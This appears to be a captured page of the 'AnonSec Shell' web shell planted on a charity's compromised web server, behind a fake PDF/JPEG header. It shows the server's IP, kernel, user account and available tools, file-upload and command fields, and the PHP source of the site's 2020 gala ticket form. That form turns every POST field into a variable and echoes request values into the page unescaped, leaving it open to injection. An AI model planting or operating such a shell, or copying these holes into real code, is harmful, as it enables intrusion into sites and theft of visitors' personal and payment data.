%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/www/formulaire_gala2.php
<?php
	$libellePlace = array(0=>"Carré OR",1=>"Ne peux pas assiter",2=>"Billet de tombola",3=>"Carré ARGENT",4=>"3ème Categorie",5=>"4ème Catégorie");
	$prix_place=array(
						0=>150, 					//Carre OR
						1=>$_POST['donAuChoix'],	//Ne peux pas assiter
						2=>5,						//Billet de tombola
						3=>100, 					//Carre ARGENT
						4=>50,						//3eme Categorie
						5=>30						//4eme Categorie
						);
	// Couleur du texte des champs si erreur saisie utilisateur
	$color_font_warn="#99151c";
	// Couleur de fond des champs si erreur saisie utilisateur
	$color_form_warn="#FFCC66";
	// Ne rien modifier ci-dessous si vous n’&ecirc;tes pas certain de ce que vous faites !
	$list['f_9']=array(0,1,2,3,4,5,6,7,8,9,10,11,12);
	$list['f_10']=array(0,1);
	$list['f_11']=array(0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30);
	$list['f_12']=array(0,1,2,3,4,5,6,7,8,9,10,11,12);
	$list['f_13']=array(0,1,2,3,4,5,6,7,8,9,10,11,12);
	$list['f_14']=array(0,1,2,3,4,5,6,7,8,9,10,11,12);
	$list['f_9_enfant']=array(0,1,2,3,4,5,6,7,8,9,10,11,12);
	$list['f_12_enfant']=array(0,1,2,3,4,5,6,7,8,9,10,11,12);
	$list['f_13_enfant']=array(0,1,2,3,4,5,6,7,8,9,10,11,12);
	$list['f_14_enfant']=array(0,1,2,3,4,5,6,7,8,9,10,11,12);
	if(isset($_POST['submite'])){
		$erreur="";
		// Nettoyage des entr&eacute;es
		while(list($var,$val)=each($_POST)){
			if(!is_array($val)){
				$$var=strip_tags($val);
			}else{
				while(list($arvar,$arval)=each($val)){
					$$var[$arvar]=strip_tags($arval);
				}
			}
		}
		// Formatage des entr&eacute;es
		$f_1=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_1)));
		$f_2=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_2)));
		$f_3=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_3)));
		$f_4=trim(eregi_replace("[^0-9+]", "", $f_4));
		$f_5=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_5)));
		$f_6=strip_tags(trim($f_6));
		$f_7=trim(eregi_replace("[^0-9\ +]", "", $f_7));
		$f_8=trim(eregi_replace("[^0-9\ +]", "", $f_8));
		// Verification des champs
		if(strlen($f_1)<2){
		$erreur.="<li><span class='txterror'>Le champ &laquo; Nom &raquo; est vide ou incomplet.</span>";
		$errf_1=1;
		}
		if(strlen($f_2)<2){
		$erreur.="<li><span class='txterror'>Le champ &laquo; Pr&eacute;nom: &raquo; est vide ou incomplet.</span>";
		$errf_2=1;
		}
		if(strlen($f_3)<2){
		$erreur.="<li><span class='txterror'>Le champ &laquo; Adresse: &raquo; est vide ou incomplet.</span>";
		$errf_3=1;
		}
		if(strlen($f_4)<2){
		$erreur.="<li><span class='txterror'>Le champ &laquo; Code postal: &raquo; est vide ou incomplet.</span>";
		$errf_4=1;
		}
		if(strlen($f_5)<2){
		$erreur.="<li><span class='txterror'>Le champ &laquo; Ville: &raquo; est vide ou incomplet.</span>";
		$errf_5=1;
		}
		if(strlen($f_6)<2){
		$erreur.="<li><span class='txterror'>Le champ &laquo; E-mail: &raquo; est vide ou incomplet.</span>";
		$errf_6=1;
		}else{
		if(!ereg('^[-!#$%&\'*+\./0-9=?A-Z^_`a-z{|}~]+'.
		'@'.
		'[-!#$%&\'*+\/0-9=?A-Z^_`a-z{|}~]+\.'.
		'[-!#$%&\'*+\./0-9=?A-Z^_`a-z{|}~]+$',
		$f_6)){
		$erreur.="<li><span class='txterror'>La syntaxe de votre adresse e-mail n'est pas correcte.</span>";
		$errf_6=1;
		}
		}
		if(strlen($f_7)<2){
		$erreur.="<li><span class='txterror'>Le champ &laquo; T&eacute;l&eacute;phone: &raquo; est vide ou incomplet.</span>";
		$errf_7=1;
		}
		if($erreur==""){
		// Cr&eacute;ation du message
		/*
		$titre="Message de votre site";
		$tete="From:Site@Meirpanim.fr\n";
		$corps.="Nom : ".$f_1."\n";
		$corps.="Pr&eacute;nom: : ".$f_2."\n";
		$corps.="Adresse: : ".$f_3."\n";
		$corps.="Code postal: : ".$f_4."\n";
		$corps.="Ville: : ".$f_5."\n";
		$corps.="E-mail: : ".$f_6."\n";
		$corps.="T&eacute;l&eacute;phone: : ".$f_7."\n";
		$corps.="Portable: : ".$f_8."\n";
		if($list['f_9'][$f_9])
		$corps.=$libellePlace[0]." (".$prix_place[0]."&euro;) : ".$list['f_9'][$f_9]."\n";
		if($list['f_9_enfant'][$f_9_enfant])
		$corps.=$libellePlace[0]." (".($prix_place[0]/2)."&euro;) : ".$list['f_9_enfant'][$f_9_enfant]."\n";
		if($list['f_12'][$f_12])
		$corps.=$libellePlace[3]." (".$prix_place[3]."&euro;) : ".$list['f_12'][$f_12]."\n";
		if($list['f_12_enfant'][$f_12_enfant])
		$corps.=$libellePlace[3]." (".($prix_place[3]/2)."&euro;) : ".$list['f_12_enfant'][$f_12_enfant]."\n";
		if($list['f_13'][$f_13])
		$corps.=$libellePlace[4]." (".$prix_place[4]."&euro;) : ".$list['f_13'][$f_13]."\n";
		if($list['f_13_enfant'][$f_13_enfant])
		$corps.=$libellePlace[4]." (".($prix_place[4]/2)."&euro;) : ".$list['f_13_enfant'][$f_13_enfant]."\n";
		if($list['f_14'][$f_14])
		$corps.=$libellePlace[5]." (".$prix_place[5]."&euro;) : ".$list['f_14'][$f_14]."\n";
		if($list['f_14_enfant'][$f_14_enfant])
		$corps.=$libellePlace[5]." (".($prix_place[5]/2)."&euro;) : ".$list['f_14_enfant'][$f_14_enfant]."\n";
		if($list['f_10'][$f_10])
		$corps.=$libellePlace[1]." (".$prix_place[1]."&euro;) : ".$list['f_10'][$f_10]."\n";
		if($list['f_11'][$f_11])
		$corps.=$libellePlace[2]." (".$prix_place[2]."&euro;) : ".$list['f_11'][$f_11]."\n";
		
		$type_from='gala2020';
		$montant=(($prix_place[0]*$list['f_9'][$f_9]) + (($prix_place[0]/2)*$list['f_9_enfant'][$f_9_enfant]) + ($prix_place[1]*$list['f_10'][$f_10]) + ($prix_place[2]*$list['f_11'][$f_11]) + ($prix_place[3]*$list['f_12'][$f_12]) + (($prix_place[3]/2)*$list['f_12_enfant'][$f_12_enfant]) + ($prix_place[4]*$list['f_13'][$f_13])  + (($prix_place[4]/2)*$list['f_13_enfant'][$f_13_enfant]) + ($prix_place[5]*$list['f_14'][$f_14]) + (($prix_place[5]/2)*$list['f_14_enfant'][$f_14_enfant]));
		*/
		}

	}
	if(!isset($_POST['submit']) || $erreur!="")
?>
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
		<script>
			function calc_total()
			{
				var p= new Array(<?=$prix_place[0]?>,parseFloat(document.getElementById('donAuChoix').value),<?=$prix_place[2]?>,<?=$prix_place[3]?>,<?=$prix_place[4]?>,<?=$prix_place[5]?>);
				var tb= new Array("<?=$libellePlace[0]?>","<?=$libellePlace[1]?>","<?=$libellePlace[2]?>","<?=$libellePlace[3]?>","<?=$libellePlace[4]?>","<?=$libellePlace[5]?>");
				var f=new Array(9,10,11,12,13,14,15);
				var total=0;
				var mess='';
				for(var i=0;i<f.length;i++)
				{
					if($('#f_'+f[i]).val() >0 && p[i]>0)
					{
						total+=($('#f_'+f[i]).val()*p[i]);
						mess=mess + tb[i]+' à '+ p[i]+' Euros: '+$('#f_'+f[i]).val()+' - ';
					}
					if($('#f_'+f[i]+'_enfant').val() >0 && p[i]>0)
					{
						total+=(($('#f_'+f[i]+'_enfant').val()/2)*p[i]);
						mess=mess + tb[i]+' enfants à '+ (p[i]/2)+' Euros: '+$('#f_'+f[i]+'_enfant').val()+' - ';
					}
				}
				
				$('#total').html(total);
				$('#spe_montant').val(total);
				$('#spe_periodicite').val(mess);
			}

			//ajout formulaire inscription table de 10
			function toggle_div(bouton, id) {
			 
			  var div = document.getElementById(id);
			 
			  if(div.style.display=="none") {
			 
				div.style.display = "block";
			 
			  } else {
			 
				div.style.display = "none";
			 
			  }
			 
			}
			//Fin ajout formulaire inscription table de 10

			function format_form()
			{
				$("#spe_nom").val($("#f_1").val());
				$("#spe_prenom").val($("#f_2").val());
				$("#spe_adresse").val($("#f_3").val());
				$("#spe_cp").val($("#f_4").val());
				$("#spe_ville").val($("#f_5").val());
				$("#spe_email").val($("#f_6").val());
				$("#spe_tel").val($("#f_7").val());
				$("#spe_portable").val($("#f_8").val());
				$("#spe_type_don").val('Achat place');
				$("#spe_occasion").val('22eme gala');
				return true;
			}
		</script>
		<style type="text/css">
			body{
				color:#707070;
				font-family: 400 14px/20px "Open Sans", Arial, sans-serif;
				background-color: #f2f2f2;
			}
			label{display:block;}
			input[type=text], select {
			  width: 100%;
			  padding: 12px 20px;
			  margin: 8px 0;
			  display: inline-block;
			  border: 1px solid #ccc;
			  border-radius: 4px;
			  box-sizing: border-box;
			  max-width:350px;
			}

			input[type=submit] {
			  width: 100%;
			  background-color: #99151c;
			  color: white;
			  padding: 14px 20px;
			  margin: 8px 0;
			  border: none;
			  border-radius: 4px;
			  cursor: pointer;
			  max-width:350px;
			}

			input[type=submit]:hover {
			  background-color: #821117;
			}

			div {
			  border-radius: 5px;
			  padding: 20px;
			}
			#donAuChoix{width:100px;}
			#f_9,#f_11,#f_12,#f_13,#f_14,#f_9_enfant,#f_11_enfant,#f_12_enfant,#f_13_enfant,#f_14_enfant{width:100px;}
			.txtformBold{font-weight:bold;}
		</style>
	</head>
 
	<body>
	<center>
	<?php 
	if(isset($_POST['submite']) && $erreur=="") 
		$action = 'https://www.meirpanim.fr/paiement/call_request.php';
	else 
		$action = $PHP_SELF;
	
	if($ok_mail=="true") { 
	?>
		<table width='100%' border='0' cellspacing='1' cellpadding='1'>
			<tr>
				<td>
					<span class='txtform'>Le message ci-dessous nous a bien &eacute;t&eacute; transmis, et nous vous en remercions.</span>
				</td>
			</tr>
			<tr><td>&nbsp;</td></tr>
			<tr><td><tt><?echo nl2br(stripslashes($corps));?></tt></td></tr>
			<tr><td>&nbsp;</td></tr>
			<tr><td><span class='txtform'>Nous allons y donner suite dans les meilleurs d&eacute;lais.<br>A bientôt.</span></td></tr>
		</table>
	<? }
	else{ ?>
	<h2>	Achat de places en ligne  <br> 22ème Gala - Les Amis de Méir Panim  <br> Dimanche 08 Mars 2020 de 10h à 13h </h2>
	<div style="padding: 15px; text-align: center;">
		<div style="color: #222222; font-family: arial,sans-serif; font-size: 12.8px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="color: #99151c; font-size: large;"><strong>Attention ! Avant de régler vos places <br>SVP assurez vous qu'elles soient disponibles<br>Téléphonez au 01 42 25 59 27</strong></span></div>
	</div>
<br>

	<form action='<? echo $action; ?>' method='post' name='myform' id='myform' onsubmit="format_form();">
			<? if($erreur){ ?>
			<div style="color:#99151c">
				<span class='txterror'><font color='white'><b>&nbsp;ERREUR, votre message n'a pas &eacute;t&eacute; transmis</b></font></span>
				<br>
					<ul><?echo$erreur?></ul>
			</div>
			<?}?>
			<div>
				<span class='txterror'>*Les champs marqu&eacute;s d'une &eacute;toile doivent imp&eacute;rativement &ecirc;tre renseign&eacute;s</span>
			</div>
			<label>
				<input type='text' style='<?if($errf_1==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_1' id='f_1' value='<?echo stripslashes($f_1);?>' placeholder="Nom*">
			</label>
			<label>
				<input type='text' style='<?if($errf_2==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_2' id='f_2' value='<?echo stripslashes($f_2);?>' placeholder="Pr&eacute;nom*">
			</label>
			<label>
				<input type='text' style='<?if($errf_3==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_3' id='f_3' value='<?echo stripslashes($f_3);?>' placeholder="Adresse*">
			</label>
			<label>
				<input type='text' style='<?if($errf_4==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_4' id='f_4' value='<?echo stripslashes($f_4);?>' placeholder="Code postal*">
			</label>
			<label>
				<input type='text' style='<?if($errf_5==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_5' id='f_5' value='<?echo stripslashes($f_5);?>' placeholder="Ville*">
			</label>
			<label>
				<input type='text' style='<?if($errf_6==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_6' id='f_6' value='<?echo stripslashes($f_6);?>'  placeholder="E-mail*">
			</label>
			<label>
				<input type='text' style='<?if($errf_7==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_7' id='f_7' value='<?echo stripslashes($f_7);?>'  placeholder="T&eacute;l&eacute;phone*">
			</label>
			<label>
				<input type='text' style='<?if($errf_8==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_8' id='f_8' value='<?echo stripslashes($f_8);?>'  placeholder="Portable*">
			</label>
			<?php if($prix_place[0]>0) { ?>
			<div>
				<span class='txtformBold'>Nombre de places &agrave; <?=$prix_place[0]?>&euro; (<?=$libellePlace[0]?>):</span><br>
				Adulte: <select name='f_9' id='f_9' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_9']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_9) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
				Enfant (50%)
				<select name='f_9_enfant' id='f_9_enfant' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_9_enfant']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_9_enfant) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
			</div>
			<?php } if($prix_place[3]>0) { ?>
			<div>
				<span class='txtformBold'>Nombre de places &agrave; <?=$prix_place[3]?>&euro; (<?=$libellePlace[3]?>):</span><br>
				Adulte: <select name='f_12' id='f_12' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_12']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_12) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
				Enfant (50%): <select name='f_12_enfant' id='f_12_enfant' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_12_enfant']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_12_enfant) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
			</div>
			<?php } if($prix_place[4]>0) { ?>
			<div>
				<span class='txtformBold'>Nombre de places &agrave; <?=$prix_place[4]?>&euro; (<?=$libellePlace[4]?>):</span><br>
				Adulte: <select name='f_13' id='f_13' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_13']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_13) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
				Enfant (50%): <select name='f_13_enfant' id='f_13_enfant' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_13_enfant']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_13_enfant) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
			</div>
			<?php } if($prix_place[5]>0) { ?>
			<div>
				<span class='txtformBold'>Nombre de places &agrave; <?=$prix_place[5]?>&euro; (<?=$libellePlace[5]?>):</span><br>
				Adulte: <select name='f_14' id='f_14' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_14']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_14) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
				Enfant (50%): <select name='f_14_enfant' id='f_14_enfant' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_14_enfant']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_14_enfant) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
			</div>
			<?php } if($prix_place[2]>0) { ?>
			<div>
				<span class='txtformBold'><?=$libellePlace[2]?> &agrave; <?=$prix_place[2]?>&euro; :</span><br>
				<select name='f_11' id='f_11' onchange="calc_total();">
				<? for($id=0;$id<count($list['f_11']);$id++){
						echo '<option value="'.$id.'"';
						if($id==$f_11) echo " selected ";
						echo '>'.$id.'</option>';
					}
				?>
				</select>
			</div>
			<?php } ?>

			<div>
				<label>
					<input type='radio' name='f_10' id='f_10' value="1" <?php if(1 == $f_10) echo 'checked'; ?> onclick='calc_total();' onmouseup="toggle_div(this,'infodix');" border='0'> Je ne peux assister au gala mais je désire faire un don de <input type="text" value="<?php if(!empty($_POST['donAuChoix'])) echo $_POST['donAuChoix']; else echo '0';?>"  onkeyup="calc_total();" onmouseup="toggle_div(this,'infodix');"  id="donAuChoix" name="donAuChoix"><?/*=$prix_place[1]*/?> &euro; 
				</label>
			</div>
			<div>
				Informations Compl&eacute;mentaires <br>
					<p style="font-size:13px; color:#99151c; font-weight:bold;">Veuillez pr&eacute;ciser la Civilit&eacute;, le Nom et le Pr&eacute;nom des participants. Les cartes sont nominatives. EX: M. David Cohen.<br>Dans le cas o&ugrave; vous r&eacute;serveriez des places, ou que vous ne sauriez pas les noms des participants, merci de le pr&eacute;ciser.</p>
					<textarea  style="width:400px; height:150px" id="commentaire" name="commentaire" placeholder=""><?echo stripslashes($_POST['commentaire']);?></textarea>
			</div>
			<br>
			<input type='submit' name='submite' value='Envoyer' border='0' class="button">
		<!--  FORMATAGE -->
		<input type="hidden" name="nom" id="spe_nom" value=''>
		<input type="hidden" name="prenom" id="spe_prenom" value=''>
		<input type="hidden" name="adresse" id="spe_adresse" value=''>
		<input type="hidden" name="cp" id="spe_cp" value=''>
		<input type="hidden" name="ville" id="spe_ville" value=''>
		<input type="hidden" name="tel" id="spe_tel" value=''>
		<input type="hidden" name="portable" id="spe_portable" value=''>
		<input type="hidden" name="email" id="spe_email" value=''>
		<input type="hidden" name="type_don" id="spe_type_don" value=''>
		<input type="hidden" name="occasion" id="spe_occasion" value=''>
		<input type="hidden" name="periodicite" id="spe_periodicite" value=''>
		<input type="hidden" name="montant" id="spe_montant" value=''>
		<input type="hidden" name="cancel_return_url" id="cancel_return_url" value='<?=$_GET['ann']?>'>
		<!--  FIN FORMATAGE -->
	</form>
<? } ?>
	<p>
		<b>Total &agrave; payer:</b> <span id="total">0</span> &euro;
	</p>
	<div id="infodix" style="display:none;">Vous devez mettre un montant</div>
	<div align="center">
		<br> 
		<b>Valable jusqu'au 01 Mars 2020</b>
		<br>
		<?php if(isset($_POST['submite']) && $erreur=="") { 
		?>
		<script>
			alertPrinted = 1;
			calc_total();
			$('#myform').submit();
		</script>
	<?php } else { ?>
		<script>
		alertPrinted = 0;
		calc_total();</script>
		<?php } ?>
	</div>
	</center>
</body>
</html>

Anon7 - 2022
AnonSec Team